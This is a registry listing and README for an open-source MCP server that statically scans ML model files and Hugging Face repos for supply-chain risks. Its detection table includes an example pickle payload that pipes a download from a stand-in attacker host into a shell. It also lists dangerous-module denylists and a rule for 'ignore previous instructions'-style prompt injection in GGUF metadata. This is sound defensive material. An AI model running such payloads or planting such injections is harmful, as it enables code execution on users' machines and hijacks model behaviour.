Model Scanner

io.github.GuardBee由 GitHub 帳號 GuardBee 發布v0.4.0更新於 Nov 3, 2026

Scans ML model files (PyTorch, joblib, NumPy, GGUF, TensorFlow…) and HF repos for supply-chain risks

發布方自己的服務:model.tools — Zero-Auth Agent Utilities

已驗證STDIO僅桌面安全與監控AI 與機器學習

概覽

AI 產生的概覽

掃描機器學習模型檔案與 Hugging Face 儲存庫的供應鏈風險,例如 pickle 中的危險全域參照,且不載入或執行檔案。

可以做什麼
  • 掃描單一模型檔案,檢查 pickle 危險全域參照、safetensors 標頭異常、Keras Lambda 層、ONNX 路徑穿越以及 GGUF 與 TensorFlow 圖問題
  • 遞迴掃描目錄中的模型檔案,包括透過 saved_model.pb 檢查 TensorFlow SavedModel
  • 掃描 Hugging Face 儲存庫在固定提交上的所有模型檔案,結果指向該快照
  • 依風險類別列出危險全域參照清單,以及所檢查的 TensorFlow 運算子
適用情境
適合在載入從 Hugging Face、模型儲存庫或物件儲存下載的檢查點、模型或 GGUF 檔案之前使用,也適合審查同事提供的模型產物。同樣適用於希望對模型檔案輸出 SARIF 結果的 CI 流程。
執行需求
以 stdio 本機程序執行,透過 npx 啟動 @guardbee/mcp-model-scanner npm 套件,需要 Node.js。掃描 Hugging Face 儲存庫需要網路存取;受限或私有儲存庫需要 HF_TOKEN。本機檔案掃描未宣告任何憑證。
安裝前請注意
偵測結果是為降低誤報率調校的啟發式規則,掃描乾淨並不等於安全證明;HDF5 與 ONNX 檢查是基於有限前段的樣式比對,大檔案只讀取部分內容。遙測預設關閉,但設定 GUARDBEE_TELEMETRY=1 後會傳送工具名稱、耗時以及檔案路徑等簡短參數值。它只檢查檔案,不執行也不隔離檔案。

安裝

在 SourceWeft 中

  1. 開啟 儀表板中的 Model Scanner,將其新增到工作區。
  2. 為需要使用其工具的對話啟用該服務。

Desktop only,透過 STDIO。 STDIO 服務會啟動本機處理程序,因此需要 SourceWeft 桌面主機。

其他 MCP 客戶端

參照 儲存庫 中的啟動說明。

README

@guardbee/mcp-model-scanner

🇬🇧 English | 🇹🇷 Türkçe | 🇨🇳 中文 | 🇯🇵 日本語 | 🇰🇷 한국어 | 🇧🇷 Português | 🇪🇸 Español | 🇩🇪 Deutsch

[npm version] [npm downloads] [License: MIT]

An MCP (Model Context Protocol) server that scans ML model files for supply-chain risks — the file itself, not the code that loads it.

Most "AI security" tooling looks at your integration code or the prompts flowing through it. This package looks at the artifact you (or a teammate, or a pip install) downloaded from Hugging Face, a registry, or an S3 bucket — or at a Hugging Face repo directly, pinned to a commit. A .pt/.pth/.pkl/.joblib checkpoint is a pickle file, and unpickling isn't just data deserialization — it can call arbitrary Python code the moment the file is loaded (torch.load(), pickle.load(), etc). A malicious checkpoint is a real, well-documented attack vector, not a hypothetical one.

Telemetry is off by default. With GUARDBEE_TELEMETRY=1 it sends the server, tool, success, duration and short parameter values such as a file path; longer strings and fields like content, token or password are replaced with a placeholder. See @guardbee/mcp-telemetry.

Claude ──► model-scanner ──► Your model files              │              ├─ .pt / .pth / .ckpt   → PyTorch zip container: extract data.pkl, walk the pickle              ├─ .pkl / .pickle / .bin / .dill → raw pickle stream (dill gadgets included)              ├─ .joblib / .jbl       → pickle + the array bytes and nested pickles joblib embeds              ├─ .npy / .npz          → object arrays (pickled data), pickles disguised as NumPy              ├─ .safetensors         → header structure + disguised-binary check              ├─ .h5 / .hdf5 / .keras → Keras Lambda-layer RCE (HDF5 and Keras 3 zip)              ├─ .onnx                → external_data path-traversal heuristic              ├─ .gguf                → header/tensor bounds, chat-template SSTI and injected text              ├─ saved_model.pb / .pb / .pbtxt / .tflite → graph ops that touch files or Python              └─ hf://owner/repo@rev  → every model file of a Hugging Face repo at one commit

Why pickle is the core of this

Pickle streams are bytecode for a tiny stack VM. A GLOBAL/STACK_GLOBAL opcode names any importable Python object; the very next opcodes typically call it. There is nothing stopping a crafted pickle from naming os.system or subprocess.Popen instead of a tensor-rebuilding function — and pickle.load()/torch.load() will happily resolve and invoke it. This is the same technique tools like picklescan/fickling/Hugging Face's Picklescan integration are built around.

This package implements a from-scratch pickle machine (protocols 0–5) rather than shelling out to Python or using a regex. It walks the opcode stream byte by byte and tracks the stack and memo without calling anything, so a protocol 4+ STACK_GLOBAL resolves to the module and name actually on the stack, including strings fetched back from the memo, as NumPy 2 pickles do. A regex over raw bytes would both miss and misfire constantly.

joblib needs the same machine: joblib.dump writes each NumPy array's raw bytes (or, for object arrays, a whole nested pickle) right after the array's NumpyArrayWrapper. The scanner reads the wrapper's shape and dtype from the stack, skips exactly that many bytes, and checks the nested pickles too.

Every GLOBAL/STACK_GLOBAL/INST reference found is checked against:

  • a denylist of modules with no legitimate reason to appear in a tensor deserialization path (os, subprocess, socket, builtins.eval, ctypes, …) → reported as critical/high
  • an allowlist of the modules real ML frameworks actually reference (numpy, torch, sklearn, collections, …) → silently safe, no noise
  • anything else → reported as medium ("unknown", not "malicious" — for manual review, keeping the false-positive rate low)

For PyTorch's default zip-based checkpoint format, the scanner reads the ZIP central directory directly off disk (with Zip64 support) to locate and extract just the small data.pkl metadata entry — it never loads a multi-gigabyte checkpoint fully into memory.


Features

  • Real pickle parsing — a stack-tracking pickle machine, not a regex, not a Python subprocess call
  • 44 dangerous-global rules across 6 risk categories (code-execution, process-execution, network, filesystem, reflection, deserialization), including dill's code-object and import gadgets
  • PyTorch zip container support (including Zip64) — extracts and scans data.pkl without loading the full checkpoint
  • joblib — walks past embedded arrays to every pickle opcode in the file, nested object-array pickles included; zlib/gzip dumps are decompressed
  • NumPy .npy/.npz — object arrays (stored as a pickle, loaded with allow_pickle=True) and plain pickles renamed to a NumPy extension
  • .safetensors structural validation — malformed/out-of-bounds headers, and detection of a pickle/zip disguised with a .safetensors extension
  • Keras Lambda-layer RCE — in .h5, Keras 3 .keras zips and SavedModel keras_metadata.pb
  • ONNX external_data path-traversal heuristic
  • GGUF — header counts, string and array lengths, tensor dimensions, types and data bounds checked against the file; chat templates checked for Jinja sandbox escapes, hidden characters and instructions aimed at the model
  • TensorFlow — SavedModel, frozen GraphDef (.pb/.pbtxt) and TFLite Flex ops that read or write files, call Python or send tensors to a debug URL
  • Hugging Face repos — scan_hf_repo / scan hf://owner/repo@revision resolves the revision to a commit and scans every model file from it
  • Bounded reads everywhere (10MB pickle prefix, 100MB safetensors header cap, 50MB zip-entry cap, GGUF and joblib read through a 4MB window) — safe against decompression bombs and won't OOM on huge model files
  • SARIF 2.1.0 output — CI/CD integration (GitHub Code Scanning, etc.)
  • Config file support via guardbee.yml
  • 82 unit tests with malicious and benign fixtures for every format, plus a false-positive check against popular public models

Quick Start

Claude Desktop / MCP Client

json
{  "mcpServers": {    "guardbee-model-scanner": {      "command": "npx",      "args": ["-y", "@guardbee/mcp-model-scanner"]    }  }}

CLI (CI/CD)

bash
npx @guardbee/mcp-model-scanner scan ./models --fail-on=high --format=sarif > results.sarif
# A Hugging Face model repo at a pinned commit (branch, tag or sha; HF_TOKEN for gated/private repos)npx @guardbee/mcp-model-scanner scan hf://openai-community/gpt2@607a30d783dfa663caf39e06633721c8d4cfcd7e

In repo mode the revision is resolved to a commit sha and every file is read from that commit, so the result describes a fixed snapshot; findings point at hf://owner/repo@sha/path. Files up to 256 MB are downloaded whole. Larger ones are checked from their first 64 MB, plus the last 64 MB for zip containers (the central directory), which holds every header, pickle stream and tensor table the checks read.


MCP Tools

ToolDescription
scan_fileScans a single model file
scan_directoryRecursively scans a directory of model files (a SavedModel through its saved_model.pb)
scan_hf_repoScans every model file of a Hugging Face model repo at a pinned commit
list_patternsLists the dangerous-global catalog by risk category, and the TensorFlow ops checked

What it catches

FormatCheckSeverityExample
pickle / PyTorchReference to os, posix, nt, subprocess, socket, ctypes, runpy, pty.spawn, platform.popen, commandscriticalos.system('curl evil.com/x | sh')
pickle / PyTorchbuiltins.eval/exec/compile/__import__, pickle.loads, marshal.loadscriticalrecursive/nested payload, or a direct eval
pickle / PyTorchbuiltins.getattr/open, shutil.*, importlib.*, requests.*, webbrowser.open, urllib*.urlopenhighexfiltration, SSRF, file read/write
safetensorsHeader starts with a pickle/zip signature instead of a lengthcriticala .pkl renamed to .safetensors
safetensorsTensor data_offsets exceed the actual data sectionhigha parser reading out-of-bounds
safetensorsInvalid/oversized header length, non-JSON headerhighcorrupt or adversarially crafted header
Keras .h5/.keras/SavedModelclass_name: "Lambda" in the model configcriticalmarshalled-function RCE on load
ONNXexternal_data location containing ..highpath traversal to an arbitrary file
dilldill._dill._create_code/_create_function/_eval_reprcriticala function rebuilt from bytecode and called during load
dilldill._dill._import_module/_get_attr/_create_filehandlehighreaching os.system without naming os
joblibany of the pickle rules, in the main stream or a nested object-array pickleas the rulea payload hidden after a real array
NumPyobject dtype; a pickle with a .npy extensionmedium / highnp.load(..., allow_pickle=True) unpickles it
GGUFchat template reaching Python internals (__class__, __globals__, …)criticalJinja sandbox escape (CVE-2024-34359)
GGUFhidden Unicode or "ignore previous instructions"-style text in metadatahighinstructions injected into every conversation
GGUFcounts, lengths, dimensions or tensor bounds inconsistent with the filehighheap overflow in an unpatched loader
TensorFlowWriteFile / ReadFile / PyFunc / file datasets / PrintV2 to file://critical–mediuma graph that touches the serving host

Full dangerous-global catalog: run the list_patterns tool, or see src/dangerousGlobals.ts.

Rule IDs added in 0.4

Rule IDSeverity
pickle_dangerous_global_dill__dill_*, pickle_dangerous_global_dill_dill_*critical / high
joblib_partial_scan, joblib_compressed_unsupported, joblib_compressed_too_large, joblib_decompress_failed, joblib_unrecognizedlow / medium
numpy_object_arraymedium
numpy_disguised_picklehigh
numpy_bad_header, numpy_npz_unreadablemedium
numpy_npz_entry_unreadable, numpy_npz_partial_scanlow
gguf_chat_template_ssticritical
gguf_metadata_injected_instructions, gguf_metadata_hidden_characters, gguf_malformed_header, gguf_tensor_out_of_bounds, gguf_bad_magichigh
gguf_duplicate_tensor, gguf_tensor_misalignedmedium
gguf_chat_template_url, gguf_unknown_tensor_type, gguf_not_parsedlow
tf_op_writefilecritical
tf_op_readfile, tf_op_pyfunc, tf_op_pyfuncstateless, tf_op_eagerpyfunchigh
tf_op_matchingfiles, tf_op_immutableconst, tf_op_*dataset*, tf_op_printv2, tf_op_debug*medium
tf_saved_model_malformed, tflite_bad_identifier, keras_config_unreadablemedium
tf_graph_too_largelow

SARIF output keeps its shape: each rule ID becomes a rules[] entry as before.

Checked against public models

Scanned with scan hf://… on 2026-10-30. Every finding on these repos is listed; none is a false positive. The low "partial scan" notes come from files larger than the 10 MB prefix the pickle, H5 and ONNX checks read.

Repo @ commitFormatsFindings
openai-community/gpt2@607a30dPyTorch (legacy pickle), safetensors, H5, ONNX, TFLite5 low partial-scan notes
google-bert/bert-base-uncased@86b5e09PyTorch, safetensors, H5, ONNX3 low partial-scan notes
sentence-transformers/all-MiniLM-L6-v2@1110a24PyTorch, safetensors, H5, 9 ONNX variants10 low partial-scan notes
Qwen/Qwen2.5-0.5B-Instruct-GGUF@9217f5dGGUF (9 quantizations incl. fp16, K-quants)none
bartowski/Llama-3.2-1B-Instruct-GGUF@067b946GGUF (18 quantizations incl. IQ types)3 low notes: tensor types 31–33, removed from ggml
microsoft/Phi-3-mini-4k-instruct-gguf@a641133GGUFnone
keras-io/ocr-for-captcha@1d695c4SavedModel + keras_metadata.pbnone
keras-io/timeseries-anomaly-detection@5712601SavedModel; profiler .pb files skipped as non-graphsnone
suno/bark-small@1dbd7a1PyTorch, 783 .npy speaker promptsnone
julien-c/wine-quality@90ef3b7scikit-learn joblibnone
mcpotato/42-eicar-street@8fb61c4Hugging Face's malicious-pickle test repomodel_broken_X.pkl: critical builtins.exec (the only payload with a model extension)

These are heuristic findings tuned for a low false-positive rate — HDF5 and ONNX in particular are complex binary/protobuf formats scanned via a bounded text-pattern search rather than a full structural parse. Every finding should still be reviewed; a clean scan is not a formal safety proof.


Configuration (guardbee.yml)

yaml
model-scanner:  fail-on: high       # any | critical | high | medium | low | none  max-files: 2000  exclude:    - "fixtures/"

Limitations (by design)

  • Only the first 10MB of a raw (non-zip) pickle stream is scanned (joblib files are walked to the end) — dangerous globals must be referenced before their instances in a pickle stream, so this bound is a reasonable trade-off against loading huge legacy checkpoints fully into memory.
  • ZIP extraction supports STORED and DEFLATE only (covers the default PyTorch checkpoint format).
  • HDF5/ONNX checks are pattern-based on a bounded prefix, not a full structural/protobuf parse.
  • joblib files compressed with bz2, xz, lzma or lz4 are reported, not decompressed. GGUF v1 and big-endian GGUF files are reported, not parsed.
  • TFLite checks look for Flex delegate op names; builtin TFLite ops are tensor math only.
  • GGUF instruction checks look for common injection phrasing and hidden characters; a carefully worded instruction can still pass. Read the chat template of a model you did not build.
  • This scans the file, not runtime behavior — it does not execute or sandbox anything.

Development

bash
npm run buildnpm test             # 82 unit tests

License

MIT — GuardBee

Feedback

Questions, ideas, or a false positive? Start a thread in GitHub Discussions or open an issue. If GuardBee is useful to you, a ⭐ on the repository helps others find it.

來源:packages/model-scanner/README.md,提交 b3f6bda

工具

4

scan_file

Scan a single ML model file for supply-chain risks: dangerous Python globals reachable during pickle deserialization (os/subprocess/eval/socket/dill gadgets, inside PyTorch zip checkpoints, joblib dumps and NumPy object arrays too), a malformed or disguised .safetensors header, a Keras Lambda-layer RCE pattern in .h5/.keras files, a path-traversal external_data reference in .onnx files, malformed GGUF headers and chat templates that escape the Jinja sandbox or carry hidden instructions, and TensorFlow SavedModel/GraphDef/TFLite graphs that read or write files or call Python.

輸入參數path必填

scan_directory

Recursively scan a directory for ML model files (.pt, .pth, .ckpt, .pkl, .pickle, .bin, .dill, .joblib, .jbl, .npy, .npz, .safetensors, .h5, .hdf5, .keras, .onnx, .gguf, .pb, .pbtxt, .tflite; a TensorFlow SavedModel directory through its saved_model.pb) and report supply-chain risks in each. Automatically skips node_modules, .git, venv, and other non-model directories.

輸入參數path必填excludeincludemaxFiles

scan_hf_repo

Scan every model file in a Hugging Face model repo at a pinned commit. The revision (branch, tag or commit sha, default main) is resolved to a commit sha and all files are read from it. Files over 256 MB are checked from their first 64 MB (and last 64 MB for zip containers), which hold the headers and pickle streams the checks read. Gated or private repos need HF_TOKEN in the server's environment.

輸入參數repo必填maxFilesrevision

list_patterns

List every dangerous Python global (module.function) this scanner treats as a red flag when found referenced inside a pickled model file, grouped by risk category

無需輸入參數。

版本歷史

3
  1. v0.4.0最新Oct 30, 2026
  2. v0.2.2Oct 22, 2026
  3. v0.1.3Oct 13, 2026

評分

已滿足適用檢查項的 90%

該評分衡量此收錄條目的完整程度,依據註冊中心條目、端點與公開來源計算得出。它不是對伺服器本身的評價,也不表示伺服器安全或目前可用:可連通性是帶日期的檢查結果,評分也不包含安裝量或使用者評價。

  • 近 30 天內可連通25 分
  • 已宣告認證方式10 分

    請在註冊中心條目中宣告憑證請求標頭,或保持端點能夠回應探測,以便判定其認證方式。

  • 已列出工具必需15 分
  • 描述必需15 分
  • 圖示10 分
  • 文件15 分
  • 授權條款10 分

其他 Model 整合